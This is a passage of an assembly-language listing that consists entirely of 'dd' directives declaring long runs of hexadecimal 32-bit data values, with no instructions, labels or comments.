dd 31220415h, 0E3F99279h, 0F204E16Fh, 1321E6Eh, 56D32F87h
dd 27D24C3Eh, 72C427CCh, 45302B4Bh, 68C95DDFh, 61562D27h
dd 13B91EECh, 0C51D8F0Ah, 0B9D768E9h, 0ABA55B0h, 0AD541F15h
dd 0E2A0EFAAh, 203156EEh, 0A4CD28D4h, 1878B932h, 747AD74Bh
dd 0F26C87BEh, 6DA00D14h, 0F9D1104Ah, 9A781D48h, 0D85427Bh
dd 0D173C63Eh, 3BAABAC0h, 95498F75h, 0D1F0459Dh, 3A9013C7h
dd 41BF5Eh, 37CBCA11h, 0B54F4CF3h, 0EDF01D34h, 55A393ABh
dd 1CDA6018h, 6C8C5DB9h, 130DFCDFh, 466848CAh, 5068F7C4h
dd 0C480528Ch, 40474240h, 51463F16h, 8E71BCC1h, 5B1E7AD1h
dd 0F613EC44h, 0F7E3CE51h, 1BAB797h, 557E4BF7h, 0C27A50EFh
dd 0CD3D3B7Ch, 6215F321h, 4FBCC8A9h, 335BA019h, 7BEA5A39h
dd 9A9584B8h, 12282948h, 2770D51Eh, 6DA13E6Bh, 9287F211h
dd 5A65EDC8h, 104E47D7h, 535DD07h, 609CF89Dh, 0CAE23B82h
dd 0BC77C5E8h, 59D9D0AFh, 58A3AF87h, 0DE152BBEh, 0B7BF7BA1h
dd 3F128F5Ah, 0BD5CC0E4h, 46998283h, 55FBAC9h, 0CB3BD670h
dd 362E32E4h, 0C912642Eh, 8EBF21A6h, 20817D05h, 6D511AF9h
dd 2E05B3B9h, 0E368B85Ch, 243293EDh, 0E39AA287h, 0D6661601h
dd 372199EFh, 0F3B489C9h, 0A99B6BF3h, 5A4CBC94h, 3B990B74h
dd 2A520B4h, 66A9D2B8h, 0DEB73426h, 3301B9CDh, 260310DFh
dd 907AA19Dh, 0E6E03768h, 4D088D13h, 0A20AC93h, 2FBE40EDh
dd 0FFE9A832h, 9C77A3A1h, 0B87A860Fh, 5016EE32h, 1C2411B9h
dd 0F0FCCEDEh, 0EF059E3Ah, 8BF39C78h, 94D5E381h, 0CE958605h
dd 3E7AFA67h, 54B12120h, 4F3FA11Ah, 2E8EB714h, 96997A3Eh
dd 1F6E2206h, 25FE12D5h, 4D3118F4h, 4C976457h, 4547599Dh
dd 8EDBB08h, 650E0212h, 0E02AD477h, 17C455A4h, 78134CD7h
dd 6575D900h, 3FD9BFADh, 0BA4B5223h, 814C12C8h, 55F0CEA8h
dd 964BF376h, 0FBA8E30h, 0B67A75DDh, 5F310AB9h, 0A687ECA0h
dd 3BA3CA01h, 712B1675h, 7E9FC9A4h, 102D6B2h, 431EE4C8h
dd 436D64E7h, 78972905h, 9F5ADAAEh, 4E8220C8h, 20399B14h
dd 982F3417h, 0BA5A5905h, 3D3C2BA3h, 0E5D593F4h, 1A6AE4E5h
dd 0ABF770CAh, 2384C055h, 9DB2C330h, 51807AE5h, 544A8553h
dd 0E3E88020h, 0BCBD37DFh, 8530D7E4h, 0AFB41A3Fh, 6ECF3EFEh
dd 43CE132Ah, 9056BCBFh, 74FB8BEh, 8FD1ABD3h, 3285FCC3h
dd 9EB727CCh, 49745A91h, 2AA6B190h, 0BCD08BDBh, 2B43E18Ah
dd 0C37CB1A0h, 73B460CFh, 0BDD7484Fh, 0A476AB3Ch, 0F651373Dh
dd 4B8900FCh, 7BA49E8Fh, 6C31762h, 0C554C5E2h, 2DB27D93h
dd 81FA8EB3h, 72FE5954h, 0D79BE9B8h, 0F1197396h, 81795D0Eh
dd 6DDA75EBh, 4205C2C8h, 588B6DE6h, 566D20A7h, 0F3165BABh
dd 0B1DF8821h, 91797429h, 772CEFE8h, 0C781B35Eh, 0A8697D5Bh
dd 839C9E44h, 2943A011h, 295B74Ch, 4D352501h, 7CCB3D56h
dd 7B3DB0Ch, 0B876EE19h, 41C82651h, 0D83AA89Ch, 0ECC4FFBEh
dd 0CC62C09Ch, 0F43250DFh, 0D67230BDh, 0AA4DC41Eh, 623E3638h
dd 0BEDE7A78h, 2F3D167Fh, 77647890h, 0B0437D6h, 283D2295h
dd 93562D06h, 35B4B1A7h, 0D0A18A55h, 341F0168h, 61E929ADh
dd 54D11A4h, 75CF7AD6h, 6AEC2745h, 2AD55071h, 6B39ACDFh
dd 42563440h, 318780C2h, 0F88163D1h, 0C3B6E3C4h, 30FE0058h
dd 3E3F160h, 8BAE441h, 7BC715E6h, 0E11904D2h, 0F93D20C1h
dd 0DF65F930h, 0C2CF0F89h, 91EAE2C8h, 0D8AB0AECh, 71052260h
dd 0B2333993h, 34061614h, 0FCD7F6D1h, 0AB669389h, 0FBA7C7F7h
dd 978E8AEAh, 0C16DD487h, 293A7687h, 9DBC7A15h, 24908DEEh
dd 0D315E4E5h, 0A0CCD7B8h, 11916128h, 933FB474h, 97C7E0D5h
dd 4145AD30h, 0B2DFC777h, 9DF6CB93h, 3E4A0AB0h, 67F87D87h
dd 0EAA6DA2Fh, 9340360h, 0F7A99D9Ah, 0B29440A2h, 2D4BF62Fh
dd 0CD996C58h, 4C719D14h, 20BBAD3Fh, 8533678Ah, 14CC6013h
dd 9ED7CC94h, 0D3E9103Ah, 0EAAA9315h, 22E25ABBh, 8C8070DBh
dd 5D68809Ch, 53AEB1B3h, 0F048AB43h, 418D58B0h, 0E7802E1Fh
dd 49A00F96h, 1C1EC71Dh, 13870B4Bh, 0B2E35F28h, 0CF9B912Ah
dd 728F7852h, 0D982D4Eh, 0E7FBFB45h, 9D370DEFh, 27A05D37h
dd 0A7999580h, 0C5023E4Fh, 0AE67E24Ch, 1A1F8DCh, 4B491ECBh
dd 97E375F9h, 0E2E2E6C6h, 89C5FB03h, 11B725EDh, 75CE782Bh
dd 361F0968h, 7405C093h, 10FDF0AAh, 6F45BD0h, 856D759Ah
dd 91735676h, 0D827BE19h, 0EF990A56h, 22D5D082h, 70C7D3BFh
dd 2C70C0F9h, 0DB91222Bh, 30D52327h, 0B6480E34h, 874EFC58h
dd 67147114h, 4DB44F9h, 0D8EB8678h, 45578E2Bh, 0BA670C30h
dd 0DF1500BBh, 1DCF967Eh
dd 162BCE95h, 9F7E70AFh, 5DBA6B63h, 9997A5F7h, 0FA6CBE3Bh
dd 88F53596h, 55E3067Eh, 0E7213F69h, 0E2298A36h, 0E66CD055h
dd 0A8AA0C21h, 0DF62BE39h, 0C92E1BEEh, 6EFFA2FCh, 3B33E967h
dd 5B8EB637h, 1803F575h, 0FB0D2AFDh, 310BFF2Ch, 0BDF16EF7h
dd 0F15A4DD3h, 0C57C5F43h, 0AA825C52h, 0D5664A8Ah, 62BB021h
dd 1D4CE1B8h, 371465B4h, 53156465h, 0A1024F40h, 2DA0F15Eh
dd 2BB49081h, 9374EADBh, 219D9EABh, 0B7F54661h, 6F4767C5h
dd 1763FEA1h, 76C027E1h, 0F47B5F4h, 544146DDh, 0AF5F67B1h
dd 0E1235A71h, 28118433h, 22E354EBh, 25648FD3h, 166C4B12h
dd 4E2FEAC5h, 0D32D76D8h, 0ACC5EA10h, 2214636Fh, 0A6BBC35Ah
dd 6F71005Eh, 82B487E4h, 6A97917Dh, 3792609h, 0B6976787h
dd 0C917FA2Ch, 0BA01522Ch, 0ECE553EFh, 0B52D156h, 243D3Ch
dd 42EB9D2Eh, 8EC0F7BBh, 56E44961h, 0C751BB3Ah, 7AAC4156h
dd 69E7978Eh, 3D567B5Ah, 93ABFADh, 714DCE69h, 0C33A8673h
dd 1B839937h, 0A786C7FCh, 8E46E9BAh, 1D85891Ch, 0EBFE3A5Bh
dd 0A3B8C070h, 0BDF82079h, 8A81B1AEh, 0F280F4FBh, 0F4D51743h
dd 10C012B1h, 0B4D93FACh, 0FFACFC59h, 0CEFD7DCDh, 0C557EF1Fh
dd 15B087A9h, 8413F610h, 8F66BD45h, 0A70151BBh, 0EE53378Fh
dd 8CD5A237h, 0A78B3FDBh, 0B4A98845h, 1D144E19h, 7F24429h
dd 0E64653C8h, 0B15841A3h, 0ED57EFDDh, 852514DCh, 0DEDC1D84h
dd 0ED0DE3B3h, 7E7ABEF0h, 0E1A34592h, 9F49D278h, 0E799117Bh
dd 532E4DDAh, 254D1061h, 3A26BD75h, 0CA8094D2h, 3B3AD132h
dd 81E4B05Eh, 64A85878h, 0BAAD4794h, 5DAAE98Ah, 0A6501719h
dd 3D46EBF2h, 15E128DAh, 0ABA1D23Dh, 0A35F7F75h, 27F10831h
dd 5BDD6B78h, 0D12F5C9Dh, 0E0B8DC15h, 0ACAFBE4Eh, 82EBE600h
dd 1C3A69B8h, 38E9BADAh, 4D26991Dh, 8F5ECB63h, 5BC07EBDh
dd 5E05CD2h, 0A8C05F16h, 0C54FC73Ah, 60E04EFDh, 6AF9DE89h
dd 4BD4FFAh, 0E04F9E25h, 0BCCA44E9h, 0C197680Ah, 0BE30B8AEh
dd 86BB808Dh, 0EF0BADF2h, 7E701F94h, 0BA1D2553h, 3792A75Eh
dd 49FE5526h, 0D1287FAFh, 30D8274Eh, 0ECFE679Ah, 979584CBh
dd 2B2DDCA7h, 0C0AFE396h, 0C31F7CF2h, 0BB2A2E83h, 935F29FBh
dd 35E0103Ch, 0C60FF07Fh, 42F76CD6h, 9B8A5178h, 0CDECBBCBh
dd 71A76CB5h, 7374BE27h, 85D31EEBh, 0F9A21E96h, 71507C0Fh
dd 0E4D78CEFh, 2AD6F4ECh, 4FB4A9A5h, 6418319h, 0E9F7857Ch
dd 0EFDC0833h, 0FE41F0AFh, 386D98D1h, 0CA0B290h, 12833B13h
dd 1B38161h, 0E389D7E8h, 0D726337Ah, 8B17617Ch, 4D5D476Ah
dd 1452AC2Ah, 34D7246Eh, 7CF82A08h, 74F37050h, 5ECFDF1Ah
dd 5B656C88h, 17AC94CDh, 7ED1FBF7h, 0EECD0571h, 4052EBCCh
dd 2390ED6Ch, 0CDDD84ADh, 0DB2BA6A5h, 1197CE77h, 0D2412832h
dd 362BE5A9h, 486E6BBFh, 1C91CB4Ch, 25404258h, 1C8BBFF0h
dd 753E8613h, 0EEDB6858h, 0AAF8DC41h, 0E48AD8Ch, 0AC17BA4h
dd 0C5E5814Ah, 59D9D293h, 90120126h, 353431BDh, 9DB2E1CFh
dd 224FC261h, 0C4071925h, 7F4EE76Eh, 98C6DCECh, 0F58003E2h
dd 4E3A2619h, 75053347h, 3EAFC99Dh, 6E74A804h, 5F780F8Bh
dd 3A47CFACh, 644273C0h, 8ACCEA10h, 0F67586h, 2F6A6646h
dd 0B013B26Bh, 0AD5B1288h, 7CF5CA70h, 1F2EB358h, 200E2220h
dd 13C75001h, 0DDFAA592h, 169E5AA5h, 8AD64CECh, 0EC89350Ch
dd 8903E4EBh, 0E8D2E13Dh, 468D8AA0h, 0E441D808h, 39A30A5Ah
dd 0D5170C32h, 0DB62AE8Fh, 1168B15Dh, 6A65E40Bh, 0D6D0D320h
dd 9F6F524Bh, 84A86D1Eh, 0A9A9D9F1h, 0AE975059h, 66A47C3Ah
dd 0A4F0BDD1h, 0B39B02E0h, 87B6BE94h, 84EDDAAEh, 2A5B9CFFh
dd 3AD3FA6h, 202FD480h, 63DFAD95h, 812C86D6h, 13605240h
dd 4F8A5FD0h, 0FF098BC6h, 3A33FA3h, 0D460230Bh, 0A5A59AF2h
dd 1A91F779h, 0BA066135h, 0BA4FC17Bh, 0C4636EB1h, 56D51955h
dd 0CA6298DBh, 0D8FF3B30h, 0E23EBAE5h, 2CB39B63h, 7A72ED2Fh
dd 3A2AB57Ah, 937625Fh, 5E91DFBBh, 3A41060Dh, 77D366A9h
dd 86108363h, 8B7C5BBh, 0FDD1AADBh, 0F40334E1h, 51E1A841h
dd 5B584FF0h, 6900B468h, 0C0A407A4h, 3DA4034Ah, 5CE85A49h
dd 34058F55h, 0F9A5081Eh, 6550C606h, 67B0B8D7h, 30D66295h
dd 13A11843h, 0E6890E81h, 0AD66F6FEh, 2E6AA955h, 2BF45C10h
dd 55BD69D0h, 5D46CF77h, 0FB608EACh, 0A3545C3h, 0B5C4C35Eh
dd 63ED2CF7h, 0FF17947Bh, 3CB05D46h, 72D15328h, 90EF486Ch
dd 16246B75h, 1524CD22h, 5C72F430h, 3A168C46h, 1E4056Bh
dd 0EFA00F11h, 0FAE6D8C3h, 0FEBA60EFh, 3457C4D2h, 0C736E5AFh
dd 2DD4F122h, 2202BE42h, 8BD88EF1h, 4BE5E7EFh, 2FBED14Bh
dd 3D2DC65Eh, 0CDE92795h, 62747668h, 46C1F082h, 7AA32BDCh
dd 627102E3h, 69697C27h, 728CDEB9h, 55CEC7EBh, 0BC00F80Ch
dd 0A02692E6h, 15512095h, 5B082C93h, 0D97A2B1Ch, 8672776Fh
dd 38C996A7h, 0E6869395h, 0EB03FAB7h, 148D71F8h, 2D5876D9h
dd 4575C39Dh, 7EFB1EEFh, 219BC570h, 196899D9h, 3C2449AFh
dd 48CEB1FDh, 2CFE37FFh, 0AD7C9F07h, 806398CBh, 0BADEBD81h
dd 66099A6Fh, 0CB5FFA95h, 8F8B92FBh, 19A1A511h, 0A88C3D4h
dd 0BE9CD35Ch, 0EB8F5988h, 5EDC52F4h, 88C09A02h, 0EF4A06ABh
dd 3B605C5Eh, 0B0F0B748h, 3C7CE46Ah, 3632D2E3h, 0FC333F71h
dd 2C3DE8DFh, 0E3995710h, 2C60CA06h, 9668A81Fh, 0C060833h
dd 0E66F390Bh, 3BA5FCF0h, 0F2B18F4Ch, 52C21835h, 322FD31Ch
dd 9476FCDBh, 8E6BF538h, 792616EAh, 97F8D18Eh, 7DC36096h
dd 21F827DEh, 0C3F8BBADh, 0F0D3FDD3h, 0CF34C580h, 7A94889Dh
dd 31CFFABAh, 0B9CB9572h, 3B6F402Ch, 0AFF402Bh, 9F30865Ch
dd 0F07716D0h, 28404BA1h, 0B5AD68B5h, 0BA5FD4Ah, 7DD163E3h
dd 9AB5DE36h, 0AA51A005h, 968AC691h, 83147433h, 0FF92E149h
dd 9E97BD00h, 78BC37A9h, 7DEB155h, 0D5D27DF7h, 1C8DA3E5h
dd 0AD5DCA84h, 0F7975885h, 5FCBC4A5h, 0A4BCE947h, 0F9414DBFh
dd 8FFD110Fh, 36F606F8h, 97713C6h, 0E255A74Fh, 1E72C7C5h
dd 6BCE48CBh, 12BE38F9h, 0D0CA716Ch, 6015028h, 0FA83FA35h
dd 0A983B9AFh, 6698C577h, 326FD4DEh, 0BE651E52h, 0BFA2C078h
dd 0F778A875h, 0A6757BEEh, 1D44532Ah, 0BF87ABC1h, 31DA2ABCh
dd 884A4C81h, 2B956AC3h, 0F9C697Dh, 0A5408EFAh, 233165Bh
dd 52298571h, 123F7D56h, 788D977Bh, 43B47A9Ah, 0EB8B46A8h
dd 0D6FDC880h, 410B2B6Ah, 4D51D4BFh, 742CAB42h, 0FA38B477h
dd 0DE6550FBh, 4B5B82E5h, 7CE8C018h, 59FBA0EEh, 0CAA6103h
dd 0F6A7D289h, 0A03D20CAh, 784F5BFAh, 3EFBB49Ah, 0DBACB8DCh
dd 0C587A974h, 0CA423AFh, 0F0987CC5h, 648DD4A9h, 359F2176h
dd 8190C155h, 632B4CA2h, 0FB958C62h, 93179EA5h, 677DA013h
dd 8D52E345h, 2812A377h, 0FA052A2Ah, 4516F6C8h, 3474FA90h
dd 0B63A63BCh, 30161286h, 0D250CBBh, 63D3BDEh, 0BBF0E623h
dd 4BBA0765h, 11319160h, 70BC6477h, 5597B983h, 93AF1CB4h
dd 92828E38h, 4CE4BE51h, 780803F0h, 36512D1Fh, 82B2F84Fh
dd 50BBB30Eh, 0C20F04FAh, 0ADD1C450h, 613D81E7h, 7B4FFE2Bh
dd 7A691309h, 0AB166A9Fh, 8F257B9Bh, 72775507h, 8DF1C476h
dd 5326734Ah, 0D8267B02h, 13785F7h, 0A3FF751Fh, 8E722CFBh
dd 98FE3299h, 5CF336A2h, 5AF7226Dh, 0D8CE16DFh, 0EA323C19h
dd 0EF843581h, 189359E2h
dd 1612647Dh, 5A28A9EDh, 8DAF3D9Eh, 0CC52520Ch, 0D778D919h
dd 2788EA70h, 5409E444h, 0FB25A22Fh, 1059E085h, 2E405C20h
dd 0ADB36189h, 6F8B4A03h, 3003F8h, 0D1DE908Dh, 9423B2DAh
dd 0F18A15DEh, 7F299668h, 5B1A3BEDh, 95051E05h, 235571B2h
dd 75BE80A4h, 9083A786h, 0BFBF34E7h, 0F41E44E1h, 0CAEE240Eh
dd 80B99283h, 0A1D0E346h, 663AD96Ah, 0CEED0504h, 0B46A75CEh
dd 0C1E2C866h, 709F3930h, 7B9C4DF6h, 0FE20A86Ah, 53518FFh
dd 673AFF7Dh, 9F9710F2h, 0A7D3889Fh, 4E4987ADh, 0CE39FC15h
dd 5C214138h, 64E6E919h, 11860B6Dh, 0A590B504h, 56E0929h
dd 5CBE4BC7h, 7EB85446h, 6B6FC0F6h, 2A23BC28h, 22E59F8Fh
dd 8B34E131h, 0CA6C46BDh, 636036AEh, 4AAEEF9Bh, 0E88B4907h
dd 82F5D6E9h, 80B9F2C8h, 0F344EFF2h, 0FBED9680h, 40D8891Fh
dd 0B7430445h, 0DA03746Fh, 0D1421CB1h, 378D1A5Ch, 3EC7C4C7h
dd 4DC0DA36h, 4F53D9BDh, 30788A7Ah, 1E3463A8h, 5C5A1BAEh
dd 4DB59B83h, 0A7A02F0Eh, 0F22CAh, 99218F3Ch, 40F26103h
dd 999559h, 97B24553h, 6121C51Bh, 0B84F8438h, 0A0CA6AA2h
dd 9E0EED82h, 0C2F5452Dh, 0ED32A1C0h, 6FC94C08h, 0E8F7B0A0h
dd 0D6E0923h, 54635F27h, 8C801681h, 1F7278A4h, 66E90F8Eh
dd 39C0F501h, 15A9DB55h, 347D2817h, 0BB4701EFh, 5E6E24D7h
dd 0EADC4534h, 590E8203h, 9DAED17Bh, 4693B5EEh, 191C5CFBh
dd 8B4ECB7Ah, 0E3EA8C43h, 548627F6h, 5B3FAAF3h, 0A12C1483h
dd 0A7DD100Ah, 0EBE13AD1h, 89DF99BFh, 301237CCh, 67E06892h
dd 0F9FCC943h, 80E731D1h, 0D50C06FEh, 52DF35A6h, 562490CAh
dd 0C0EA5866h, 63AB1FF7h, 59710E07h, 32906611h, 9D79BC92h
dd 3FE3AF3Bh, 0B23EE795h, 43B21A15h, 297981D4h, 0E189B362h
dd 4FFD6B81h, 886F844Fh, 44EF2AABh, 0E8C9E685h, 57CA5039h
dd 0F75A4479h, 717BCC4Dh, 0F58EA69Dh, 0EC59D4B3h, 0AD1AE31Fh
dd 7BF45183h, 0EB9E50FCh, 0BE0A2B40h, 0E0A7A868h, 0F9440C70h
dd 1DD2F678h, 0BB5F2A19h, 8615A694h, 8F0BC5B8h, 20266FBDh
dd 714D76EAh, 0C83273A8h, 0DC8FC3BAh, 3AFAF5A2h, 0F5A00464h
dd 0ED83C3F3h, 6D31625h, 0E4F25F0h, 5465DD50h, 30DB885Eh
dd 0D31ACF93h, 781A7682h, 57123399h, 0B26B37CAh, 0F0ED84Eh
dd 20EA88C4h, 154765F7h, 0C12A998Dh, 0D912E317h, 3E42D67Dh
dd 2C2F642Bh, 0AE4F09FBh, 0D38E35CDh, 3EC6AF33h, 0ABB419Ch
dd 0AAD9B82Eh, 48DB9F73h, 0DFAB76C6h, 0A09DC18Bh, 6CF7AC81h
dd 2720D717h, 2F936AD6h, 46E3E95Ch, 6B452A94h, 5870087Bh
dd 82EE92DDh, 0DACF8083h, 9A26AE78h, 52517EADh, 4FF76263h
dd 74EB6471h, 50EB1EB6h, 23A5661Fh, 99F18D35h, 1B281A62h
dd 69DF7B1h, 0FE42B0A0h, 56D44856h, 0CAFF26ABh, 0ECF43EE1h
dd 5C96BF44h, 380F130Fh, 59763A42h, 79B56FFBh, 8AD7177Fh
dd 0AAC22AC5h, 0CBCF4142h, 0F12D5361h, 700865F8h, 0B4B49D2Dh
dd 50F13AA9h, 0C637846Fh, 69F2F4E1h, 68E44278h, 196E522Eh
dd 0E8706CA4h, 3DEC4FCBh, 0FA2BEAF7h, 9B6DF825h, 82AA9A0Bh
dd 0C70CC347h, 6DA6CE67h, 0DAEBB402h, 0B79FA205h, 0B720F6A1h
dd 3BB5AF8Ch, 38C47ED1h, 57BCC25Fh, 0AD9007EFh, 0A3CBC239h
dd 0ADDDAAC1h, 4B38AD21h, 0C0E9C159h, 7432C46Bh, 478E480Bh
dd 0C69437C2h, 909A881Fh, 0B45DD5B6h, 0F117F169h, 71C8E205h
dd 81BF67FEh, 0F586138Ah, 0C0500F58h, 5738C5D4h, 6BA4E5A0h
dd 262D67Ch, 9291F5Dh, 9D61DE02h, 2E2F12FEh, 0BC035EB3h
dd 0F50F6289h, 0E507AF3Dh, 0E0525A37h, 535BFF0h, 25546E9Eh
dd 27970092h, 93807FA6h, 57C0C902h, 0DC73542Fh, 0A72499F5h
dd 0A05F341Bh, 0D2459D02h, 0CF1F2320h, 93E8C80h, 0B4FCE62Ch
dd 1D24947Fh, 0EAE3E7A5h, 714AED12h, 0F4099E34h, 3AC15E7h
dd 1348499Ah, 0DB0934D5h, 4834A6A7h, 5F23A8E3h, 67F1D390h
dd 6F6BE4B8h, 1C58FF00h, 1DF5ECFh, 0C60E01Eh, 4F56CA1Ah
dd 0D1F82E11h, 0DC666D98h, 738EDD1Ch, 0BC9024FBh, 0C8118D01h
dd 2762653Bh, 168C12F1h, 47EE6AF4h, 0DAF98015h, 0A9F45662h
dd 0B81C8CC6h, 99FFB0FBh, 0D2A1BB7Ch, 0B21FA5DFh, 272E35CAh
dd 62CE6BE8h, 6E86A34Bh, 0D6B7F047h, 0AD4C2A6Fh, 0CB85A34Dh
dd 3C94DB59h, 8271F6F7h, 0E7AA3595h, 800AC64Eh, 14E5A5ABh
dd 65B41E1Dh, 0E5554063h, 153018A8h, 1263E074h, 0CDAB94DAh
dd 7DA00C92h, 6F9C2B53h, 7761EA0Bh, 5CCA60F4h, 844D8B62h
dd 516CAC59h, 8E5CA8Ah, 0DE03E98Ah, 0D79C2BD6h, 86A83F00h
dd 0C2FCCFC6h, 2A0B62A2h, 0FD354F7Ah, 59A18C6h, 3DA1DF09h
dd 0C67EC984h, 3EEC00A7h, 0B033E832h, 0C64C0E6h, 0BA609440h
dd 0CF43E7F5h, 5037D1E6h, 0DC569346h, 0A6C772F1h, 9714B5B0h
dd 6E6F4982h, 1CDB06ACh, 69B514A4h, 0DD2381E6h, 574E7923h
dd 5FA886B8h, 0C57182BCh, 4ED6097h, 538900EDh, 728231C5h
dd 548060C3h, 66B8CE77h, 73A27776h, 0E6B63D56h, 81BDC69Eh
dd 0B00914DCh, 0C3186A06h, 95273A44h, 0D2B3822Bh, 2592FB4Bh
dd 1CE48DCDh, 9AF9F63Bh, 264C3602h, 26A66E0Bh, 4E8B249Fh
dd 71CE0800h, 0C487E870h, 8D81606Bh, 3A3F498Ah, 87FEDCF9h
dd 27601D38h, 1A553BADh, 9BCDD16Ah, 599B734Ah, 0ACE202EEh
dd 0A0D68A07h, 68189C09h, 3B21BE01h, 14A2BAF3h, 0AC2815E5h
dd 54001368h, 0BAF8D495h, 9C50CF58h, 1BE5FBA5h, 0C474A761h
dd 0A81409F1h, 12CB6A5h, 21BC63B6h, 0B21E4B5h, 0EC033733h
dd 51F0288Eh, 76FE34D0h, 0F6219AA7h, 0FEEBFA99h, 37BFEEC8h
dd 91964B4Ch, 31130B55h, 1C61E77Dh, 32AE357Ch, 0CB5D5838h
dd 0F214E61Dh, 0D186A6F9h, 0FF7D36E6h, 67CE8D9Ah, 3C588036h
dd 0AA876C46h, 0CA35C09Dh, 4E473E4Ch, 14DA8ED5h, 752D252Ah
dd 31C1BE75h, 0D8C857E3h, 0D902A6F2h, 0F6A43D7Ch, 0C18176C6h
dd 8D416796h, 6A9389EBh, 0F4B3A9A6h, 5BA3D12Eh, 8354B513h
dd 20484B5h, 0B13074A3h, 0B20BBBA0h, 1E82286h, 1F3414B0h
dd 7F822180h, 0A7BEFE09h, 0C54A5CA5h, 7BE0C227h, 0D8F8DD7h
dd 682C687Eh, 545744AFh, 0BEAAE150h, 59B0671Bh, 5F774F15h
dd 2FB19E35h, 1FA42E5Ch, 0B42603B1h, 0AB71DA61h, 0B409AC64h
dd 0F9675769h, 80C5760Dh, 25C5C587h, 0B5013658h, 45C63A2Ch
dd 561F2128h, 662E18D2h, 0F8DF0182h, 11E62870h, 8D3DA50Bh
dd 441C51DBh, 81D24D62h, 30D80DD8h, 8C380A28h, 0C3A47835h
dd 345D74BCh, 222A2ACBh, 0D75C76E1h, 20D3AA55h, 656C34CDh
dd 3463DE62h, 0F590C076h, 63E5A2ECh, 99EFA257h, 36B66D5Eh
dd 0BF0666ABh, 0BF7B3C21h, 0B75865FCh, 5EA284C7h, 0CB020FE1h
dd 5D4473FEh, 0D035991Eh, 0AD4F16B0h, 448E0319h, 0EE015D3Ch
dd 0F4D27E1Bh, 34BC067h, 0E33CF116h, 0A1335F73h, 0B95B65D8h
dd 0F7BEEAA8h, 1B09419Fh, 4099A211h, 390EE3F5h, 3ACDC863h
dd 1FCE9CA7h, 62D5FBC0h, 0A27C74C4h, 0FA4535B2h, 3E64D353h
dd 823A7703h, 0BC3EA65Bh, 0C472B5DDh, 21267C65h, 0F31E1AD6h
dd 7529BAF2h, 29C45821h, 7A1710D9h, 3DF1B6DBh, 35F54F4Ah
dd 8DCB6CC0h, 3A6C53ECh, 9193A06Bh, 67EEF44Bh, 6A220230h
dd 185B354h, 0F7337980h, 279846FFh, 6ED80CB2h, 66F83041h
dd 0D8ADB82Fh, 95F24F38h, 0BAEF32D2h, 66BBB510h, 0E9AC5EC9h
dd 0E011EAE2h, 4E949679h, 0CA2A8EB6h, 44BD9752h, 2FEE478Fh
dd 0B71DDBDAh, 68D1B3ACh
dd 74271AFEh, 38176069h, 8DF1AEA8h, 23E034E7h, 0CED7AB6Fh
dd 928738D2h, 0D7F0990Dh, 27460DD9h, 0D3F68A41h, 0ECD250BEh
dd 0A6E20C1Ch, 0E7FCDF1Dh, 0A338B8BBh, 8344E5C1h, 3848A722h
dd 0EFBF9743h, 0D70A04F7h, 1E7B40DBh, 68548FF7h, 0A438A04Bh
dd 0DB404E68h, 0E51F8702h, 39246304h, 0AF7ECAEBh, 0F0E0A49Eh
dd 50B322C3h, 20F1044Dh, 0B08FC078h, 0E59333AFh, 559E76A3h
dd 0AC7B0020h, 4504543Ch, 0E3044181h, 82784B36h, 0B050AFC6h
dd 0E241A219h, 0F0DA0240h, 3D139ECDh, 0FAD93FF2h, 0DFC7AE2h
dd 4EF68D85h, 4B56051Dh, 74D1FB1Ah, 233FCAE5h, 0E334C20Ch
dd 70041291h, 0B2A7FD98h, 58031D19h, 11C08949h, 7B443237h
dd 927300EBh, 7778E408h, 0C6C6DEBAh, 8D97CD93h, 456834F3h
dd 8BC2E072h, 78AC354Ah, 5C62ECD9h, 6C24AFE3h, 8BED933Dh
dd 4BC5CF0Ch, 0A92433A6h, 5504D324h, 0F8D81AEBh, 1FB668FDh
dd 8EE77F47h, 69EED8FDh, 185CE8CCh, 5CFE649h, 43EBC6DFh
dd 0ADFE2AFBh, 214B6F45h, 0B0649CF1h, 7C2FB1F8h, 0BCFD1683h
dd 7CED8DE8h, 0F098F90h, 0E3470DAh, 1658C80Bh, 5CA54BFBh
dd 7BEE2FA9h, 0EBAD03A2h, 21909863h, 0E64735D9h, 0D98F5D6Bh
dd 0DE650F44h, 3E25B487h, 4F1D6038h, 65624F99h, 0A2CD09FBh
dd 9E050FB5h, 8A8AFE9Ah, 0A97DAE92h, 0FFDC3F6Eh, 0F2EFCB43h
dd 447B8689h, 4BEF2510h, 0F437AC5Dh, 46D1970Ah, 0DEF6DBC2h
dd 0D511F45Eh, 0B8F8B143h, 0B59C9CA4h, 5B2AF77Fh, 3D1B1CC0h
dd 88688834h, 1A56C57Eh, 0F0DC0A57h, 32A891A2h, 0AB14BDh
dd 46661E76h, 6BD8E19Fh, 5B17EA0Fh, 407F0A7h, 0F6A6F16Fh
dd 0D4BFD41Dh, 205F89ADh, 0F91736EAh, 6E2B41BAh, 0FEC9B9C2h
dd 0C44BE2C8h, 0BF7CBA90h, 76062F95h, 35F98641h, 0C4E8E4CCh
dd 1178023Ah, 0A8B83388h, 4146F636h, 7B373523h, 72AA2750h
dd 68DF0FF9h, 0F5F56524h, 7648BE7Fh, 0F26FE220h, 0E2F14E63h
dd 2C4E168Bh, 8136188Fh, 134A275h, 0BA667F3Fh, 6582D9E6h
dd 0E37B5AB0h, 99BD70A8h, 7F72D71Eh, 80FDE525h, 0B483019Dh
dd 0E3CA981Ch, 62106523h, 16716603h, 37439F23h, 3D7073E6h
dd 0AD850E92h, 27FEDE63h, 0E6C93DF9h, 99424C6Fh, 0FBB60B33h
dd 255CA1D8h, 0DD2DC662h, 0C7F3794Fh, 25FE954Ch, 76802D0h
dd 6440DAC9h, 15FE7FD5h, 81A20738h, 0E4E6C8A8h, 2E9BC9E3h
dd 8D0C5A2Dh, 87356BA6h, 98975950h, 0D0B5B607h, 55E94098h
dd 0F8C15B38h, 0CDA6640Bh, 0C06E6B6Bh, 95BCBB02h, 0CA40257Bh
dd 0CF7FF46h, 2820B671h, 432411F0h, 1B2308D0h, 0C10222Bh
dd 26898CA8h, 249A7B2Bh, 0F0BDFABDh, 7DD3E5A4h, 7507204Ch
dd 265230CDh, 0E96533B4h, 6DD7F12Eh, 2108F1FCh, 7D577076h
dd 0C472FA2Ah, 44F3A453h, 333BE61Fh, 3346754Fh, 42D15E80h
dd 0D6D15437h, 740E6F33h, 0E2D70A58h, 0D01905D8h, 6F1754F9h
dd 4251D8BEh, 8163C7Ah, 0CD92F5DCh, 1BAFEDCh, 28BE21D6h
dd 241EAC62h, 9E69228Bh, 3BF1E24Dh, 24B172E1h, 475930A7h
